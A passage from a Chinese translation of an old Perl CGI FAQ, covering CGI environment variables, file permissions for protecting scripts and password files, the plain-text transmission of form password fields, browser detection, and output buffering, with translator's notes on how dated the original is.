如果 server 能连接上客户端的 IDENT server,它会将这个变数设成远方使用者 的身份。但由於向IDENT server 查询的动作太花时间,大部份的 servers 都把这 项功能关掉。更何况,客户端的机器是否会回应查询,又是否会诚实以对,都是无 法确定的。
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器的资料。REMOTE_ADDR 会包含客户端的 IP 位址,以用点隔开的十进位数字 的形式来表示。由於我们无法确切得知使用者的真实身份 [请看前一个环境变数的 说明],有的时候使用可确认的位址来替代,不失为一个可行的变通方法。和前一 项 REMOTE_HOST 不同的是,这个变数一定会被设定。还有,别忘了您可能会发现 所有使用同一个 proxy (代理人) server 的使用者的机器位址都变成了那台 proxy server 的位址。
【摘录自 WWW FAQ 部份完】
Q4.8: 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?
如果您将您的 server 设成对所有在一个特定目录(如 cgi-bin)下的档案,或者 是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以 CGI 程式看 待,那麽 server 只会执行这些程式。至於使用者是无法看到 script 本身的内容 的。
但是如果您允许人们看您的 script (譬如把它放到 HTML 文件的根目录 下),那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如 果这个程式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可 乘,进而利用这个弱点。
【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个主题相关的一 个常问问题是:
Q: 我的 Perl CGI scripts 必须将权限设为全世界可读。可是这样一来,和我同 机器有帐户的人,只要知道我的程式名称,就可以浏览我的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。
A: 至少有两个解决方法,一个简单,一个复杂:
简单的方法是,请您的系统管理者(如果不是您自己的话),将您的 CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的话)的所有者设成 Web server 跑的使用者(最常见的是使用者 nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts 的使用权限设定成 550 (-r-xr-x---),密码档的权限设成 440 (-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机器上的 使用者也没有办法偷看到您的程式和密码。
比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的 perl FAQ 第叁部分中这一段:``How can I hide the source for my Perl program?'' ,大家也可参考。
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?
不需要。您的 CGI scripts 可以使用 server 和 文件根目录之外的任何档案,除 非 server 是在一个 chroot 的环境下执行。
Q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗?
No! form 的介面中有一个 ``password'' 的栏位,但是您不应该拿它来处 理任何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括 ``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至 server。
如果您想要安全地传送资料,那麽您需要使用具有安全功能的 server,例如 Netscape 的 Commerce Server*。
【译者】Apache SSL ,例如 Stronghold 版,同样具有这个功能。
Q4.11: 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器?
您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script 中得知是否 Netscape 正在执行您的 script。以下为一例:
$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ /Mozilla/) {
#
# Netscape
#
} else {
#
# Non Netscape
#
}
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?
这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要 让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将 buffering 的 特性关掉。
Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃 Perl,改 Java 了?是不是该这麽做?
【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作「Netscape 和 IE 两大浏览器都已支援 Java」。
不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端执行,而 Java则是在 client 端执行。有些东西(如动画)可藉